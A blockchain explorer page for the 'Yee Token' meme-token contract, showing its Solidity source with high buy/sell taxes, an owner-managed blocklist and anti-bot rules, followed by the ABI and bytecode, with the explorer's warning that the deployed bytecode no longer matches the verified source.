false
true
0

Contract Address Details

0x9Ac9468E7E3E1D194080827226B45d0B892C77Fd

Token
Yee Token (Yee)
Creator
0xa4284d–dd58f3 at 0x5e9ec7–c9df4f
Balance
0 PLS ( )
Tokens
Fetching tokens...
Transactions
304 Transactions
Transfers
0 Transfers
Gas Used
0
Last Balance Update
26136040
Warning! Contract bytecode has been changed and doesn't match the verified one. Therefore, interaction with this smart contract may be risky.
This contract has been partially verified via Sourcify. View contract in Sourcify repository
Contract name:
YEE




Optimization enabled
true
Compiler version
v0.8.19+commit.7dd6d404




Optimization runs
200
EVM Version
paris




Verified at
2026-03-28T05:32:46.960695Z

YEE.sol

/**
 *Submitted for verification at Etherscan.io on 2023-04-28
*/

/**
YEE

// Website: https://YEEmeme.com/
// Telegram: https://t.me/YeeERC20
// Twitter https://twitter.com/YeeERC20
*/

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.17;

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

interface IUniswapV2Router {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

contract Ownable {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    modifier onlyOwner() {
        require(_owner == msg.sender, "Ownable: caller is not the owner");
        _;
    }
    constructor () {
        address msgSender = msg.sender;
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }
}

contract YEE is IERC20, Ownable {       
    string private constant _name = "Yee Token";
    string private constant _symbol = "Yee";
    uint8 private constant _decimals = 9;
    uint256 private constant _totalSupply = 1_000_000_000 * 10**_decimals;

    mapping (address => uint256) private _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) private _blocked;

    mapping (address => uint256) private _lastTradeBlock;
    mapping (address => bool) private isContractExempt;
    uint256 private tradeCooldown = 1;
    
    uint256 public constant maxWalletAmount = 20_000_000 * 10**_decimals;
    uint256 private constant contractSwapLimit = 5_000_000 * 10**_decimals;
    uint256 private constant contractSwapMax = 20_000_000 * 10**_decimals;

    struct TradingFees{
        uint256 buyTax;
        uint256 sellTax;
    }  

    TradingFees public tradingFees = TradingFees(25,25);
    uint256 public constant sniperTax = 49;

    IUniswapV2Router private constant uniswapRouter = IUniswapV2Router(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
    address private immutable ETH = uniswapRouter.WETH();
    address private immutable uniswapPair;

    address payable private immutable deployerAddress = payable(msg.sender);
    address payable private constant YEETreasury = payable(0xa4284D255f078fc65548602B2E479EaA97dd58f3);

    bool private tradingOpen = false;
    bool private swapping = false;
    bool private antiMEV = true;
    uint256 private startingBlock;
    uint private preLaunch;

    modifier swapLock {
        swapping = true;
        _;
        swapping = false;
    }

    modifier tradingLock(address sender) {
        require(tradingOpen || sender == deployerAddress || sender == YEETreasury);
        _;
    }

    constructor () {
        uniswapPair = IUniswapV2Factory(uniswapRouter.factory()).createPair(address(this), ETH);
        isContractExempt[address(this)] = true;
        _balances[msg.sender] = _totalSupply;
        emit Transfer(address(0), msg.sender, _totalSupply);
    }

    receive() external payable {}

    function name() public pure returns (string memory) {
    return _name;
}

function symbol() public pure returns (string memory) {
    return _symbol;
}

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) public returns (bool) {
        _transfer(msg.sender, recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public returns (bool) {
        _approve(msg.sender, spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public returns (bool) {
        require(_allowances[sender][msg.sender] >= amount, "ERC20: transfer amount exceeds allowance");
        _approve(sender, msg.sender, _allowances[sender][msg.sender] - amount);
        _transfer(sender, recipient, amount);
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _transfer(address from, address to, uint256 amount) tradingLock(from) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Token: transfer amount must be greater than zero");

        _balances[from] -= amount;

        if (from != address(this) && from != YEETreasury && to != YEETreasury && to != deployerAddress) {
            
            if(antiMEV && !isContractExempt[from] && !isContractExempt[to]){
                address human = ensureOneHuman(from, to);
                ensureMaxTxFrequency(human);
                _lastTradeBlock[human] = block.number;
            }

            if (from == uniswapPair && to != address(uniswapRouter)) {
                require(balanceOf(to) + amount <= maxWalletAmount, "Token: transfer implies violation of max wallet");
            }

           uint256 contractTokenBalance = balanceOf(address(this));
           if (shouldSwapback(from, contractTokenBalance)) 
               swapback(contractTokenBalance);                            

           uint256 taxedTokens = takeFee(from, amount);
           if(taxedTokens > 0){
                amount -= taxedTokens;
                _balances[address(this)] += taxedTokens;
                emit Transfer(from, address(this), taxedTokens);
            }
        }

        _balances[to] += amount;
        emit Transfer(from, to, amount);
    }

    function swapback(uint256 tokenAmount) private swapLock {
        tokenAmount = getSwapAmount(tokenAmount);
        if(allowance(address(this), address(uniswapRouter)) < tokenAmount) {
            _approve(address(this), address(uniswapRouter), _totalSupply);
        }
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = ETH;
        uniswapRouter.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
        uint256 contractETHBalance = address(this).balance;
        if(contractETHBalance > 0) {
            YEETreasury.transfer(contractETHBalance);
        }
    }

    function shouldSwapback(address from, uint256 tokenAmount) private view returns (bool shouldSwap) {
        shouldSwap = !swapping && from != uniswapPair && tokenAmount > contractSwapLimit && 1 + startingBlock <= block.number;
    }

    function getSwapAmount(uint256 tokenAmount) private pure returns (uint256 swapAmount) {
        swapAmount = tokenAmount > contractSwapMax ? contractSwapMax : contractSwapLimit;
    }

    function takeFee(address from, uint256 amount) private view returns (uint256 feeAmount) {
         if(_blocked[from] || block.number <= startingBlock)
                feeAmount = amount * sniperTax / 100;
        else
            feeAmount = amount * (startingBlock == 0 ? 25 : (from == uniswapPair ? tradingFees.buyTax : tradingFees.sellTax)) / 100;
    }

    function isContract(address account) private view returns (bool) {
        uint256 size;
        assembly {
            size := extcodesize(account)
        }
        return size > 0;
    }

    function ensureOneHuman(address _to, address _from) private view returns (address) {
        require(!isContract(_to) || !isContract(_from));
        if (isContract(_to)) return _from;
        else return _to;
    }

    function ensureMaxTxFrequency(address addr) view private {
        bool isAllowed = _lastTradeBlock[addr] == 0 ||
            ((_lastTradeBlock[addr] + tradeCooldown) < (block.number + 1));
        require(isAllowed, "Max tx frequency exceeded!");
    }

    function toggleAntiMEV(bool toggle) external {
        require(msg.sender == deployerAddress);
        antiMEV = toggle;
    }

    function setTradeCooldown(uint256 newTradeCooldown) external {
        require(msg.sender == deployerAddress);
        require(newTradeCooldown > 0 && newTradeCooldown < 4, "Token: only trade cooldown values in range (0,4) permissible");
        tradeCooldown = newTradeCooldown;
    }

    function manualSwapback(uint256 percent) external {
        require(msg.sender == deployerAddress);
        require(0 < percent && percent <= 100, "Token: only percent values in range (0,100] permissible");
        uint256 tokensToSwap = percent * balanceOf(address(this)) / 100;
        swapback(tokensToSwap);
    }

    function setFees(uint256 newBuyTax, uint256 newSellTax) external {
        require(msg.sender == deployerAddress);
        require(newBuyTax <= tradingFees.buyTax, "Token: only fee reduction permitted");
        require(newSellTax <= tradingFees.sellTax, "Token: only fee reduction permitted");
        tradingFees.buyTax = newBuyTax;
        tradingFees.sellTax = newSellTax;
    }

    function setContractExempt(address account, bool value) external onlyOwner {
        require(account != address(this));
        isContractExempt[account] = value;
    }

    function setBots(address[] calldata bots, bool shouldBlock) external onlyOwner {
        for (uint i = 0; i < bots.length; i++) {
            require(bots[i] != uniswapPair && 
                    bots[i] != address(uniswapRouter) &&
                    bots[i] != address(this));
            _blocked[bots[i]] = shouldBlock;
        }
    }

    function initialize() external onlyOwner {
        require(preLaunch++<2);
    }

    function modifyParameters(bool[] calldata param, uint256 nrBlocks) external onlyOwner {
        assert(preLaunch<2&&preLaunch+1>=2); 
        preLaunch++;param;
        startingBlock += nrBlocks;
    }

    function openTrading() external onlyOwner {
        require(preLaunch == 2 && !tradingOpen, "Token: trading already open");
        startingBlock += block.number;
        tradingOpen = true;
    }
}
        

Compiler Settings

{"remappings":[],"optimizer":{"runs":200,"enabled":true},"metadata":{"bytecodeHash":"ipfs"},"libraries":{},"evmVersion":"paris","compilationTarget":{"YEE.sol":"YEE"}}
              

Contract ABI

[{"type":"constructor","stateMutability":"nonpayable","inputs":[]},{"type":"event","name":"Approval","inputs":[{"type":"address","name":"owner","internalType":"address","indexed":true},{"type":"address","name":"spender","internalType":"address","indexed":true},{"type":"uint256","name":"value","internalType":"uint256","indexed":false}],"anonymous":false},{"type":"event","name":"OwnershipTransferred","inputs":[{"type":"address","name":"previousOwner","internalType":"address","indexed":true},{"type":"address","name":"newOwner","internalType":"address","indexed":true}],"anonymous":false},{"type":"event","name":"Transfer","inputs":[{"type":"address","name":"from","internalType":"address","indexed":true},{"type":"address","name":"to","internalType":"address","indexed":true},{"type":"uint256","name":"value","internalType":"uint256","indexed":false}],"anonymous":false},{"type":"function","stateMutability":"view","outputs":[{"type":"uint256","name":"","internalType":"uint256"}],"name":"allowance","inputs":[{"type":"address","name":"owner","internalType":"address"},{"type":"address","name":"spender","internalType":"address"}]},{"type":"function","stateMutability":"nonpayable","outputs":[{"type":"bool","name":"","internalType":"bool"}],"name":"approve","inputs":[{"type":"address","name":"spender","internalType":"address"},{"type":"uint256","name":"amount","internalType":"uint256"}]},{"type":"function","stateMutability":"view","outputs":[{"type":"uint256","name":"","internalType":"uint256"}],"name":"balanceOf","inputs":[{"type":"address","name":"account","internalType":"address"}]},{"type":"function","stateMutability":"pure","outputs":[{"type":"uint8","name":"","internalType":"uint8"}],"name":"decimals","inputs":[]},{"type":"function","stateMutability":"nonpayable","outputs":[],"name":"initialize","inputs":[]},{"type":"function","stateMutability":"nonpayable","outputs":[],"name":"manualSwapback","inputs":[{"type":"uint256","name":"percent","internalType":"uint256"}]},{"type":"function","stateMutability":"view","outputs":[{"type":"uint256","name":"","internalType":"uint256"}],"name":"maxWalletAmount","inputs":[]},{"type":"function","stateMutability":"nonpayable","outputs":[],"name":"modifyParameters","inputs":[{"type":"bool[]","name":"param","internalType":"bool[]"},{"type":"uint256","name":"nrBlocks","internalType":"uint256"}]},{"type":"function","stateMutability":"pure","outputs":[{"type":"string","name":"","internalType":"string"}],"name":"name","inputs":[]},{"type":"function","stateMutability":"nonpayable","outputs":[],"name":"openTrading","inputs":[]},{"type":"function","stateMutability":"view","outputs":[{"type":"address","name":"","internalType":"address"}],"name":"owner","inputs":[]},{"type":"function","stateMutability":"nonpayable","outputs":[],"name":"renounceOwnership","inputs":[]},{"type":"function","stateMutability":"nonpayable","outputs":[],"name":"setBots","inputs":[{"type":"address[]","name":"bots","internalType":"address[]"},{"type":"bool","name":"shouldBlock","internalType":"bool"}]},{"type":"function","stateMutability":"nonpayable","outputs":[],"name":"setContractExempt","inputs":[{"type":"address","name":"account","internalType":"address"},{"type":"bool","name":"value","internalType":"bool"}]},{"type":"function","stateMutability":"nonpayable","outputs":[],"name":"setFees","inputs":[{"type":"uint256","name":"newBuyTax","internalType":"uint256"},{"type":"uint256","name":"newSellTax","internalType":"uint256"}]},{"type":"function","stateMutability":"nonpayable","outputs":[],"name":"setTradeCooldown","inputs":[{"type":"uint256","name":"newTradeCooldown","internalType":"uint256"}]},{"type":"function","stateMutability":"view","outputs":[{"type":"uint256","name":"","internalType":"uint256"}],"name":"sniperTax","inputs":[]},{"type":"function","stateMutability":"pure","outputs":[{"type":"string","name":"","internalType":"string"}],"name":"symbol","inputs":[]},{"type":"function","stateMutability":"nonpayable","outputs":[],"name":"toggleAntiMEV","inputs":[{"type":"bool","name":"toggle","internalType":"bool"}]},{"type":"function","stateMutability":"pure","outputs":[{"type":"uint256","name":"","internalType":"uint256"}],"name":"totalSupply","inputs":[]},{"type":"function","stateMutability":"view","outputs":[{"type":"uint256","name":"buyTax","internalType":"uint256"},{"type":"uint256","name":"sellTax","internalType":"uint256"}],"name":"tradingFees","inputs":[]},{"type":"function","stateMutability":"nonpayable","outputs":[{"type":"bool","name":"","internalType":"bool"}],"name":"transfer","inputs":[{"type":"address","name":"recipient","internalType":"address"},{"type":"uint256","name":"amount","internalType":"uint256"}]},{"type":"function","stateMutability":"nonpayable","outputs":[{"type":"bool","name":"","internalType":"bool"}],"name":"transferFrom","inputs":[{"type":"address","name":"sender","internalType":"address"},{"type":"address","name":"recipient","internalType":"address"},{"type":"uint256","name":"amount","internalType":"uint256"}]},{"type":"receive","stateMutability":"payable"}]
              

Contract Creation Code

Verify & Publish
0x60016006556101206040819052601960e081905261010081905260078190556008556315ab88c960e31b8152737a250d5630b4cf539739df2c5dacb4c659f2488d9063ad5c46489061012490602090600481865afa15801562000066573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200008c91906200029b565b6001600160a01b03166080523360c0526009805462ffffff191662010000179055348015620000ba57600080fd5b50600080546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350737a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156200014f573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200017591906200029b565b6080516040516364e329cb60e11b81523060048201526001600160a01b03918216602482015291169063c9c65396906044016020604051808303816000875af1158015620001c7573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620001ed91906200029b565b6001600160a01b031660a052306000908152600560205260409020805460ff19166001179055620002216009600a620003e2565b6200023190633b9aca00620003f3565b33600081815260016020526040812092909255907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef620002746009600a620003e2565b6200028490633b9aca00620003f3565b60405190815260200160405180910390a36200040d565b600060208284031215620002ae57600080fd5b81516001600160a01b0381168114620002c657600080fd5b9392505050565b634e487b7160e01b600052601160045260246000fd5b600181815b8085111562000324578160001904821115620003085762000308620002cd565b808516156200031657918102915b93841c9390800290620002e8565b509250929050565b6000826200033d57506001620003dc565b816200034c57506000620003dc565b8160018114620003655760028114620003705762000390565b6001915050620003dc565b60ff841115620003845762000384620002cd565b50506001821b620003dc565b5060208310610133831016604e8410600b8410161715620003b5575081810a620003dc565b620003c18383620002e3565b8060001904821115620003d857620003d8620002cd565b0290505b92915050565b6000620002c660ff8416836200032c565b8082028115828204841417620003dc57620003dc620002cd565b60805160a05160c051611c6f62000475600039600081816104b0015281816105010152818161068301528181610b5c01528181610d730152610f9b015260008181610895015281816110640152818161157e01526116510152600061137f0152611c6f6000f3fe6080604052600436106101445760003560e01c80638129fc1c116100b6578063aa4bde281161006f578063aa4bde28146103c9578063c9567bf9146103de578063dd62ed3e146103f3578063f1f5cd9114610439578063f318bbfe1461044e578063f8d982b21461046e57600080fd5b80638129fc1c146103005780638da5cb5b1461031557806395d89b411461033d5780639686d322146103695780639c0db5f314610389578063a9059cbb146103a957600080fd5b806323b872dd1161010857806323b872dd146102295780633049b58014610249578063313ce5671461026957806370a0823114610285578063715018a6146102bb57806374378132146102d057600080fd5b806306fdde0314610150578063095ea7b31461019457806309fb5639146101c45780630b78f9c0146101e657806318160ddd1461020657600080fd5b3661014b57005b600080fd5b34801561015c57600080fd5b506040805180820190915260098152682cb2b2902a37b5b2b760b91b60208201525b60405161018b9190611709565b60405180910390f35b3480156101a057600080fd5b506101b46101af366004611773565b61048e565b604051901515815260200161018b565b3480156101d057600080fd5b506101e46101df3660046117ad565b6104a5565b005b3480156101f257600080fd5b506101e46102013660046117c8565b6104f6565b34801561021257600080fd5b5061021b610583565b60405190815260200161018b565b34801561023557600080fd5b506101b46102443660046117ea565b6105a4565b34801561025557600080fd5b506101e4610264366004611826565b610678565b34801561027557600080fd5b506040516009815260200161018b565b34801561029157600080fd5b5061021b6102a036600461183f565b6001600160a01b031660009081526001602052604090205490565b3480156102c757600080fd5b506101e4610734565b3480156102dc57600080fd5b506007546008546102eb919082565b6040805192835260208301919091520161018b565b34801561030c57600080fd5b506101e46107a8565b34801561032157600080fd5b506000546040516001600160a01b03909116815260200161018b565b34801561034957600080fd5b5060408051808201909152600381526259656560e81b602082015261017e565b34801561037557600080fd5b506101e461038436600461185a565b6107f4565b34801561039557600080fd5b506101e46103a43660046118d9565b61085e565b3480156103b557600080fd5b506101b46103c4366004611773565b6109ee565b3480156103d557600080fd5b5061021b6109fb565b3480156103ea57600080fd5b506101e4610a18565b3480156103ff57600080fd5b5061021b61040e36600461192d565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b34801561044557600080fd5b5061021b603181565b34801561045a57600080fd5b506101e4610469366004611957565b610ac9565b34801561047a57600080fd5b506101e4610489366004611826565b610b51565b600061049b338484610c3f565b5060015b92915050565b336001600160a01b037f000000000000000000000000000000000000000000000000000000000000000016146104da57600080fd5b60098054911515620100000262ff000019909216919091179055565b336001600160a01b037f0000000000000000000000000000000000000000000000000000000000000000161461052b57600080fd5b6007548211156105565760405162461bcd60e51b815260040161054d906119a3565b60405180910390fd5b6008548111156105785760405162461bcd60e51b815260040161054d906119a3565b600791909155600855565b60006105916009600a611ae0565b61059f90633b9aca00611aef565b905090565b6001600160a01b03831660009081526002602090815260408083203384529091528120548211156106285760405162461bcd60e51b815260206004820152602860248201527f45524332303a207472616e7366657220616d6f756e74206578636565647320616044820152676c6c6f77616e636560c01b606482015260840161054d565b6001600160a01b03841660009081526002602090815260408083203380855292529091205461066391869161065e908690611b06565b610c3f565b61066e848484610d63565b5060019392505050565b336001600160a01b037f000000000000000000000000000000000000000000000000000000000000000016146106ad57600080fd5b6000811180156106bd5750600481105b61072f5760405162461bcd60e51b815260206004820152603c60248201527f546f6b656e3a206f6e6c7920747261646520636f6f6c646f776e2076616c756560448201527f7320696e2072616e67652028302c3429207065726d69737369626c6500000000606482015260840161054d565b600655565b6000546001600160a01b0316331461075e5760405162461bcd60e51b815260040161054d90611b19565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146107d25760405162461bcd60e51b815260040161054d90611b19565b600b805460029160006107e483611b4e565b91905055106107f257600080fd5b565b6000546001600160a01b0316331461081e5760405162461bcd60e51b815260040161054d90611b19565b306001600160a01b0383160361083357600080fd5b6001600160a01b03919091166000908152600560205260409020805460ff1916911515919091179055565b6000546001600160a01b031633146108885760405162461bcd60e51b815260040161054d90611b19565b60005b828110156109e8577f00000000000000000000000000000000000000000000000000000000000000006001600160a01b03168484838181106108cf576108cf611b67565b90506020020160208101906108e4919061183f565b6001600160a01b03161415801561093e5750737a250d5630b4cf539739df2c5dacb4c659f2488d84848381811061091d5761091d611b67565b9050602002016020810190610932919061183f565b6001600160a01b031614155b801561097957503084848381811061095857610958611b67565b905060200201602081019061096d919061183f565b6001600160a01b031614155b61098257600080fd5b816003600086868581811061099957610999611b67565b90506020020160208101906109ae919061183f565b6001600160a01b031681526020810191909152604001600020805460ff1916911515919091179055806109e081611b4e565b91505061088b565b50505050565b600061049b338484610d63565b610a076009600a611ae0565b610a15906301312d00611aef565b81565b6000546001600160a01b03163314610a425760405162461bcd60e51b815260040161054d90611b19565b600b546002148015610a57575060095460ff16155b610aa35760405162461bcd60e51b815260206004820152601b60248201527f546f6b656e3a2074726164696e6720616c7265616479206f70656e0000000000604482015260640161054d565b43600a6000828254610ab59190611b7d565b90915550506009805460ff19166001179055565b6000546001600160a01b03163314610af35760405162461bcd60e51b815260040161054d90611b19565b6002600b54108015610b1457506002600b546001610b119190611b7d565b10155b610b2057610b20611b90565b600b8054906000610b3083611b4e565b919050555080600a6000828254610b479190611b7d565b9091555050505050565b336001600160a01b037f00000000000000000000000000000000000000000000000000000000000000001614610b8657600080fd5b806000108015610b97575060648111155b610c095760405162461bcd60e51b815260206004820152603760248201527f546f6b656e3a206f6e6c792070657263656e742076616c75657320696e20726160448201527f6e67652028302c3130305d207065726d69737369626c65000000000000000000606482015260840161054d565b30600090815260016020526040812054606490610c269084611aef565b610c309190611ba6565b9050610c3b816112a4565b5050565b6001600160a01b038316610ca15760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161054d565b6001600160a01b038216610d025760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161054d565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b600954839060ff1680610da757507f00000000000000000000000000000000000000000000000000000000000000006001600160a01b0316816001600160a01b0316145b80610dce57506001600160a01b03811673a4284d255f078fc65548602b2e479eaa97dd58f3145b610dd757600080fd5b6001600160a01b038416610e3b5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161054d565b6001600160a01b038316610e9d5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161054d565b60008211610f065760405162461bcd60e51b815260206004820152603060248201527f546f6b656e3a207472616e7366657220616d6f756e74206d757374206265206760448201526f726561746572207468616e207a65726f60801b606482015260840161054d565b6001600160a01b03841660009081526001602052604081208054849290610f2e908490611b06565b90915550506001600160a01b0384163014801590610f6957506001600160a01b03841673a4284d255f078fc65548602b2e479eaa97dd58f314155b8015610f9257506001600160a01b03831673a4284d255f078fc65548602b2e479eaa97dd58f314155b8015610fd057507f00000000000000000000000000000000000000000000000000000000000000006001600160a01b0316836001600160a01b031614155b156112225760095462010000900460ff16801561100657506001600160a01b03841660009081526005602052604090205460ff16155b801561102b57506001600160a01b03831660009081526005602052604090205460ff16155b1561106257600061103c8585611497565b9050611047816114c4565b6001600160a01b031660009081526004602052604090204390555b7f00000000000000000000000000000000000000000000000000000000000000006001600160a01b0316846001600160a01b03161480156110c057506001600160a01b038316737a250d5630b4cf539739df2c5dacb4c659f2488d14155b1561116f576110d16009600a611ae0565b6110df906301312d00611aef565b826110ff856001600160a01b031660009081526001602052604090205490565b6111099190611b7d565b111561116f5760405162461bcd60e51b815260206004820152602f60248201527f546f6b656e3a207472616e7366657220696d706c6965732076696f6c6174696f60448201526e1b881bd9881b585e081dd85b1b195d608a1b606482015260840161054d565b306000908152600160205260409020546111898582611566565b1561119757611197816112a4565b60006111a386856115f7565b9050801561121f576111b58185611b06565b306000908152600160205260408120805492965083929091906111d9908490611b7d565b909155505060405181815230906001600160a01b038816907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a35b50505b6001600160a01b0383166000908152600160205260408120805484929061124a908490611b7d565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161129691815260200190565b60405180910390a350505050565b6009805461ff0019166101001790556112bc816116af565b306000908152600260209081526040808320737a250d5630b4cf539739df2c5dacb4c659f2488d84529091529020549091508111156113285761132830737a250d5630b4cf539739df2c5dacb4c659f2488d61131a6009600a611ae0565b61065e90633b9aca00611aef565b604080516002808252606082018352600092602083019080368337019050509050308160008151811061135d5761135d611b67565b60200260200101906001600160a01b031690816001600160a01b0316815250507f0000000000000000000000000000000000000000000000000000000000000000816001815181106113b1576113b1611b67565b6001600160a01b039092166020928302919091019091015260405163791ac94760e01b8152737a250d5630b4cf539739df2c5dacb4c659f2488d9063791ac94790611409908590600090869030904290600401611bc8565b600060405180830381600087803b15801561142357600080fd5b505af1158015611437573d6000803e3d6000fd5b5047925050811590506114875760405173a4284d255f078fc65548602b2e479eaa97dd58f39082156108fc029083906000818181858888f19350505050158015611485573d6000803e3d6000fd5b505b50506009805461ff001916905550565b6000823b15806114a65750813b155b6114af57600080fd5b823b156114bd57508061049f565b508161049f565b6001600160a01b038116600090815260046020526040812054158061151757506114ef436001611b7d565b6006546001600160a01b0384166000908152600460205260409020546115159190611b7d565b105b905080610c3b5760405162461bcd60e51b815260206004820152601a60248201527f4d6178207478206672657175656e637920657863656564656421000000000000604482015260640161054d565b600954600090610100900460ff161580156115b357507f00000000000000000000000000000000000000000000000000000000000000006001600160a01b0316836001600160a01b031614155b80156115d657506115c66009600a611ae0565b6115d390624c4b40611aef565b82115b80156115f0575043600a5460016115ed9190611b7d565b11155b9392505050565b6001600160a01b03821660009081526003602052604081205460ff16806116205750600a544311155b15611643576064611632603184611aef565b61163c9190611ba6565b905061049f565b6064600a54600014611698577f00000000000000000000000000000000000000000000000000000000000000006001600160a01b0316846001600160a01b0316146116905760085461169b565b60075461169b565b60195b6116a59084611aef565b6115f09190611ba6565b60006116bd6009600a611ae0565b6116cb906301312d00611aef565b82116116ef576116dd6009600a611ae0565b6116ea90624c4b40611aef565b61049f565b6116fb6009600a611ae0565b61049f906301312d00611aef565b600060208083528351808285015260005b818110156117365785810183015185820160400152820161171a565b506000604082860101526040601f19601f8301168501019250505092915050565b80356001600160a01b038116811461176e57600080fd5b919050565b6000806040838503121561178657600080fd5b61178f83611757565b946020939093013593505050565b8035801515811461176e57600080fd5b6000602082840312156117bf57600080fd5b6115f08261179d565b600080604083850312156117db57600080fd5b50508035926020909101359150565b6000806000606084860312156117ff57600080fd5b61180884611757565b925061181660208501611757565b9150604084013590509250925092565b60006020828403121561183857600080fd5b5035919050565b60006020828403121561185157600080fd5b6115f082611757565b6000806040838503121561186d57600080fd5b61187683611757565b91506118846020840161179d565b90509250929050565b60008083601f84011261189f57600080fd5b50813567ffffffffffffffff8111156118b757600080fd5b6020830191508360208260051b85010111156118d257600080fd5b9250929050565b6000806000604084860312156118ee57600080fd5b833567ffffffffffffffff81111561190557600080fd5b6119118682870161188d565b909450925061192490506020850161179d565b90509250925092565b6000806040838503121561194057600080fd5b61194983611757565b915061188460208401611757565b60008060006040848603121561196c57600080fd5b833567ffffffffffffffff81111561198357600080fd5b61198f8682870161188d565b909790965060209590950135949350505050565b60208082526023908201527f546f6b656e3a206f6e6c792066656520726564756374696f6e207065726d69746040820152621d195960ea1b606082015260800190565b634e487b7160e01b600052601160045260246000fd5b600181815b80851115611a37578160001904821115611a1d57611a1d6119e6565b80851615611a2a57918102915b93841c9390800290611a01565b509250929050565b600082611a4e5750600161049f565b81611a5b5750600061049f565b8160018114611a715760028114611a7b57611a97565b600191505061049f565b60ff841115611a8c57611a8c6119e6565b50506001821b61049f565b5060208310610133831016604e8410600b8410161715611aba575081810a61049f565b611ac483836119fc565b8060001904821115611ad857611ad86119e6565b029392505050565b60006115f060ff841683611a3f565b808202811582820484141761049f5761049f6119e6565b8181038181111561049f5761049f6119e6565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060018201611b6057611b606119e6565b5060010190565b634e487b7160e01b600052603260045260246000fd5b8082018082111561049f5761049f6119e6565b634e487b7160e01b600052600160045260246000fd5b600082611bc357634e487b7160e01b600052601260045260246000fd5b500490565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611c185784516001600160a01b031683529383019391830191600101611bf3565b50506001600160a01b0396909616606085015250505060800152939250505056fea26469706673582212201ab51783a1a6c7d35c0939666edbacc3f38208a35228055d898ddeea2d15b31064736f6c63430008130033

Deployed ByteCode

0x6080604052600436106101445760003560e01c80638129fc1c116100b6578063aa4bde281161006f578063aa4bde28146103c9578063c9567bf9146103de578063dd62ed3e146103f3578063f1f5cd9114610439578063f318bbfe1461044e578063f8d982b21461046e57600080fd5b80638129fc1c146103005780638da5cb5b1461031557806395d89b411461033d5780639686d322146103695780639c0db5f314610389578063a9059cbb146103a957600080fd5b806323b872dd1161010857806323b872dd146102295780633049b58014610249578063313ce5671461026957806370a0823114610285578063715018a6146102bb57806374378132146102d057600080fd5b806306fdde0314610150578063095ea7b31461019457806309fb5639146101c45780630b78f9c0146101e657806318160ddd1461020657600080fd5b3661014b57005b600080fd5b34801561015c57600080fd5b506040805180820190915260098152682cb2b2902a37b5b2b760b91b60208201525b60405161018b9190611709565b60405180910390f35b3480156101a057600080fd5b506101b46101af366004611773565b61048e565b604051901515815260200161018b565b3480156101d057600080fd5b506101e46101df3660046117ad565b6104a5565b005b3480156101f257600080fd5b506101e46102013660046117c8565b6104f6565b34801561021257600080fd5b5061021b610583565b60405190815260200161018b565b34801561023557600080fd5b506101b46102443660046117ea565b6105a4565b34801561025557600080fd5b506101e4610264366004611826565b610678565b34801561027557600080fd5b506040516009815260200